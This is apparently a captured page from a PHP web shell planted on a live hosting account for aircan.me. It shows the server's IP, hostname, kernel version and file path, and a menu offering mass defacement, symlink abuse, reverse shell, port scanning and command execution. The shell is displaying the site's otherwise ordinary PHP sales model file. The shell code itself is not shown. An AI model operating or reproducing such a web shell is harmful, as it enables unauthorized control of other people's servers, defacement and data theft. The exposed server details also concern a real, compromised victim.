Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
aircan3
/
app
/
models
/
Viewing: Venta.php
<?php /** * Modelo Venta * Gestión de ventas vinculadas a clientes, leads y servicios */ class Venta extends Model { /** * Obtener todas las ventas con datos relacionados */ public function getAll(): array { $sql = "SELECT v.*, COALESCE(c.nombre, '') AS cliente_nombre, COALESCE(c.apellido, '') AS cliente_apellido, COALESCE(l.nombre, '') AS lead_nombre, COALESCE(s.nombre, '') AS servicio_nombre FROM ventas v LEFT JOIN clientes c ON v.cliente_id = c.id LEFT JOIN leads l ON v.lead_id = l.id LEFT JOIN servicios s ON v.servicio_id = s.id ORDER BY v.fecha_venta DESC"; return $this->fetchAll($sql); } /** * Crear nueva venta */ public function create(array $data): string { $sql = "INSERT INTO ventas (cliente_id, lead_id, servicio_id, descripcion, monto, metodo_pago) VALUES (:cliente_id, :lead_id, :servicio_id, :descripcion, :monto, :metodo_pago)"; $this->query($sql, [ 'cliente_id' => !empty($data['cliente_id']) ? (int) $data['cliente_id'] : null, 'lead_id' => !empty($data['lead_id']) ? (int) $data['lead_id'] : null, 'servicio_id' => !empty($data['servicio_id']) ? (int) $data['servicio_id'] : null, 'descripcion' => $data['descripcion'] ?? null, 'monto' => $data['monto'], 'metodo_pago' => $data['metodo_pago'] ?? 'efectivo', ]); return $this->lastInsertId(); } /** * Obtener ventas por cliente */ public function getByCliente(int $clienteId): array { $sql = "SELECT v.*, COALESCE(s.nombre, '') AS servicio_nombre FROM ventas v LEFT JOIN servicios s ON v.servicio_id = s.id WHERE v.cliente_id = :cliente_id ORDER BY v.fecha_venta DESC"; return $this->fetchAll($sql, ['cliente_id' => $clienteId]); } /** * Contar total de ventas */ public function count(): int { $result = $this->fetchOne("SELECT COUNT(*) as total FROM ventas"); return (int) ($result['total'] ?? 0); } /** * Suma total de montos de ventas */ public function totalMonto(): float { $result = $this->fetchOne("SELECT COALESCE(SUM(monto), 0) as total FROM ventas"); return (float) ($result['total'] ?? 0); } }
Coded With 💗 by
0x6ick